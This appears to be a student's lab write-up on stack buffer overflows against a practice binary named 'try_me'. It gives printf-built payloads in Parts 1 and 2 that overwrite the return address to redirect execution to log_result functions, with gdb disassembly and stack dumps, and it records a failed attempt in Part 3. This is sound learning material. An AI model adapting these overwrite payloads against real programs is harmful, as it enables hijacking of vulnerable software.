David Huang

[dhuan008@ucr.edu](mailto:dhuan008@ucr.edu)

========================================================================

**Part 1.**

Exploit payload:

./try\_me "$(printf "AAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x72\x8e\x04\x08")"

Documentation:

Used gdb disas to identify addresses of test and log\_result. Found the address with calls test and the return value after test runs.

Dump of assembler code for function main:

0x08048f09 <+0>: lea 0x4(%esp),%ecx

0x08048f0d <+4>: and $0xfffffff0,%esp

0x08048f10 <+7>: pushl -0x4(%ecx)

0x08048f13 <+10>: push %ebp

...

0x08048f62 <+89>: push %eax

0x08048f63 <+90>: call 0x8048e24 <test>

0x08048f68 <+95>: add $0x10,%esp

0x08048f6b <+98>: jmp 0x8048f7d <main+116>

0x08048f6d <+100>: sub $0xc,%esp

…

Estimated number of characters needed for buffer overflow based on the size of the buffer and EBP - old and added the address of log\_result as the return address instead of the address after the call to log\_result.

Ran in gdb and tweaked the length after looking at the stack and locating the return address.

========================================================================

**Part 2.**

Exploit payload:

./try\_me "$(printf "ABBBBCCCCDDDDEEEEFFFFGGGG\x14\xd6\xff\xff\xa0\x8e\x04\x08\xaf\x8e\x04\x08")"

Documentation:

Continuing from part one but instead of the address for uid\_crack I used the address for uid\_crack\_advanced. From there I noticed that it tried to access the memory right before the address+4

Breakpoint 1, log\_result\_advanced (code=135184128) at test.c:27

27 in test.c

(gdb) s

37 in test.c

(gdb) s

Cannot access memory at address 0x4848484c

So I changed that to be the valid address. Then the instruction pointer was pointing the value after the return address which was turned into junk.

(gdb) x/20x $sp

0xffffd600: 0x00000000 0x080ea00c 0xffffd658 0x4104f220

0xffffd610: 0x42424242 0x43434343 0x44444444 0x45454545

0xffffd620: 0x46464646 0x47474747 0xffffd614 0x08048ea0

0xffffd630: 0xffffd800 0x080ebf40 0x0000041b 0x08048f27

Program received signal SIGSEGV, Segmentation fault.

0xffffd800 in ?? ()

I changed that value to

0x08048eaf <+15>: call 0x806c630 <getuid>

in the function log\_result\_advanced so that it would continue and run the function. Could have also directly jumped past the check instead of the start of the function etc.

========================================================================

**Part 3.**

Exploit payload: Didn't get it working.

"$(printf "Arepus\_kcarc\_1501\_diuGGGG\x14\xd6\xff\xff\xaf\x8e\x04\x08\x30\xf2\x04\x08AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL")"

Documentation:

Tried to overwrite the address in log\_result\_advanced/sprinf

Dump of assembler code for function sprintf:

0x0804f230 <+0>: sub $0x1c,%esp

0x0804f233 <+3>: lea 0x28(%esp),%eax //$eax = $esp+28

0x0804f237 <+7>: mov %eax,0x8(%esp) //$(esp + 8) = $eax

0x0804f23b <+11>: mov 0x24(%esp),%eax //%eax = $esp+24

0x0804f23f <+15>: mov %eax,0x4(%esp) //$(esp+4) = $eax

0x0804f243 <+19>: mov 0x20(%esp),%eax //$eax = esp +20

0x0804f247 <+23>: mov %eax,(%esp) //esp = eax

0x0804f24a <+26>: call 0x804f910 <vsprintf> // call vsprintf

0x0804f24f <+31>: add $0x1c,%esp

0x0804f252 <+34>: ret

End of assembler dump.

with a address point to the string uid\_1051\_crack\_super but was getting hex characters and then no output.